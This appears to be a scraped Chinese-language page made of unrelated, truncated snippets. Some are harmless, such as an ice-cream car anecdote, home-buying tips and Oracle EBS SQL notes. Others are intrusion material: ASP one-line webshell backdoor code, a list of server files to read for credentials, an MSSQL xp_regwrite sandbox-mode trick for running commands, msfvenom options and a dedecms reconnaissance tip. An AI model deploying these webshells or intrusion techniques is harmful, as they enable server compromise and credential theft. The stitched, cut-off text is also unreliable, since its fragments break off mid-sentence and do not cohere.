其他

通過啟用php.ini設定檔中的相關選項，就可以將大部分想利用SQL注入漏洞的駭客拒絕於門外。      

1    2    3    4    5    6    7    8    9    10    11    12    13    14    15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 

asp一句話木馬程式後門代碼 <%eval request("admin163")%> 程式碼 <%execute request("admin163")%>程式碼 <%execute(request("admin163"))%> 程式碼 <%execute request("admin163")%><%'<% loop <%:%> 程式後門代碼 <%'<% loop

　第一則

為什麼買香草冰淇淋汽車就會秀逗的故事？　　“請三思而後行！不要輕易下結論”，一切皆有可能！　　有一天美國通用汽車公司的龐帝雅克（Pontiac）部門收到一封客戶抱怨信，上面是這樣寫的：這是我為了同一件事第二次寫信給你，我不會怪你們為什麼沒有回信給我，因為我也覺得這樣別人會認為我瘋了，但這的確是一個事實。　　我們家有一個傳統的習慣，就是我們每天在吃完晚餐後，都會以冰淇淋來當我們的飯後甜點。由於冰淇淋的口味很多，所以我們家每天在飯後才投票決定要吃哪一種口味，等大家決定後我就會開車去買。但自從最近我買

只能對採購單題頭操作的活動有：1.暫掛，釋放。暫掛作用防止列印單據（通過Oracle標準報表的話）。適用與未完成狀態的採購訂單；2.凍結，解凍，凍結能夠防止對已經審批的訂單做修改，並且不能通過採購訂單錄入介面開啟；對題頭和採購訂單行都有效活動：3.取消。終止合約或合約行。動作無法復原。比較麻煩的是怎樣通知供應商，不同公司有不同的方式這一點在實施的時候需要考慮；4.最終關閉，為了防止對已經完全完結（不會發生退貨）的訂單的變更，可以對其進行最終關閉。這個動作也是無法復原的。對於包含最終關閉行的採購訂

Form中某些按鈕可能調用了Package對錶中某些欄位進行更新，但是資料庫中欄位的修改不會馬上反映到form的介面上，所以要進行重新查詢，但是使用者可能使用了查詢時段進行查詢之後然後再點擊按鈕動作，如果簡單的使用execute_query進行查詢的話那麼就會把原來的查詢條件衝掉。所以這裡寫了一個公用的包進行查詢： procedure query_block(p_block_name varchar2)is  l_cursor_block     varchar2(50);  l_cursor_

網上瘋傳一個Nginx的所謂檔案類型錯誤解析漏洞，但是真的就只有這樣嗎？漏洞介紹：nginx是一款高效能的web伺服器，使用非常廣泛，其不僅經常被用作反向 Proxy，也可以非常好的支援PHP的運行。80sec發現其中存在一 個較為 嚴重的安全問題，預設情況下可能導致伺服器錯誤的將任何類型的檔案以PHP的方式進行解析，這將導致嚴重的安全問題，使得惡意的攻擊者可能攻陷支援

報表上要擷取物料交易處理表上的的Source（來源）欄位，非資料庫項。 /*==================================================    Procedure Name:        get_txn_source    Description:        This procedure is used to calculate transaction        source name of one specified material tran

. AJAX中之跨站指令碼攻擊 例子， Yamanner蠕蟲利用了Yahoo Mail的AJAX的跨站指令碼漏洞，Samy蠕蟲利用了MySpace.com的跨站指令碼漏洞。2. XML 中毒(poisoning) 攻擊者可以通過複製節點進行DOS攻擊，或者產生不合法的XML導致伺服器端邏輯的中斷。攻擊者也可以操縱外部實體，導致開啟任何檔案或TCP串連連接埠。XML資料定義的中毒也可以導致運行流程的改變，助攻擊者擷取機密資訊。3. 運行惡意的AJAX編碼

看了大家的小技巧，我也痒痒的厲害，我的技巧也是百度得到的。 ========================================= dedecms通過補丁號獲得版本號碼的小技巧 dedecms通過註冊使用者知道版本小技巧 ========================================dede 預設安裝時，會提示更改後台路徑，如果我們不知道背景話，有密碼也沒有用。使用預設路徑去找找  使用mysql_error 資訊去試試  哈哈。找到了view source1

Options:    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all    -n, --nopsled    [length]        Prepend a

============敏感檔案讀取================ WINDOWS下:c:/boot.ini          //查看系統版本c:/windows/php.ini   //php配置資訊c:/windows/my.ini    //MYSQL設定檔，記錄管理員登陸過的MYSQL使用者名稱和密碼 c:/winnt/php.ini     c:/winnt/my.ini c:\mysql\data\mysql\user.MYD 

sa下刪除xp_cmdshell和xplog70.dll時候的一種辦法，不算新的了，也被一些人不斷的再次提出來，為了方便自己記憶再寫出來，在這種情況下，要執行命令，條件是要有xp_regwrite。 首先開啟沙盤模式： exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Jet\4.0\Engines’,'SandBoxMode’,'REG_DWORD’,1 然後利用jet.oledb執行系統命令 select *

第一招：地理位置是關鍵地段好壞決定房屋的未來升值潛力。對於購買二手房純居住人群來說，可以盡量選擇那些離車站、地鐵較近，周邊商業氛圍較完善的地區買房，這樣不但上、下班較便利而且買菜、購物等也會十分方便。對於購買二手房長期投資人群而言，最好選擇在商圈成熟、地段較好、交通便利地區買房，因為隨著商圈的不斷成熟其二手樓價值也會充分體現出來，同時如果房屋業主以租代售的話，其投資回報收益也將較為可觀。第二招：房屋品質看周詳房屋品質是買房時十分重要的一個考核因素。就目前北京二手房市場而言，上世紀80年代的二手房

SELECT OOD.ORGANIZATION_CODE    組織,       MSI.SEGMENT1             物料編碼,       MSI.DESCRIPTION          物料描述,       MMT.TRANSACTION_DATE     交易處理日期,       MMT.TRANSACTION_QUANTITY 交易處理數量,       MMT.TRANSACTION_UOM      交易處理單位,     

系統維護產生小數位過多的匯率（參見附件），但標準功能建立採購訂單的API只允許10位小數位，因此出現該錯誤提示。 使用後台修正匯率表資料，截取為10位小數（與匯率維護介面看到的才相符）update gl_daily_rates t   set t.conversion_rate = '0.1592001783' WHERE t.from_currency = 'CNY'   AND t.to_currency = 'USD'   AND t.conversion_date =

SyntaxFND_PROFILE.SAVE(<Profile_Option_Name>,                  <Profile_Option_Value>,                  <Level SITE/APPL/RESP/USER>,                  <Level_Value>,                  <Level_Value_App_id>);ExampleSET

SELECT acct_period_id period, open_flag, period_name name, period_start_date, schedule_close_date, period_close_date FROM org_acct_periods WHERE organization_id = &org_id order by 1,2;UPDATE org_acct_periods SET open_flag =

文/SuperHei_[At]_ph4nt0m.org   2006-03-08[a.下面的grep(http://www.interlog.com/~tcharron/grep.html )不支援-r參數,可以使用下面的格式: grep -in "/(include/|require/)" C:/test/*.php C:/test/admin/*.php 也可以使用cygwin移植來的grep(http://zhouzhen.eviloctal.org/Look.asp?LogID=814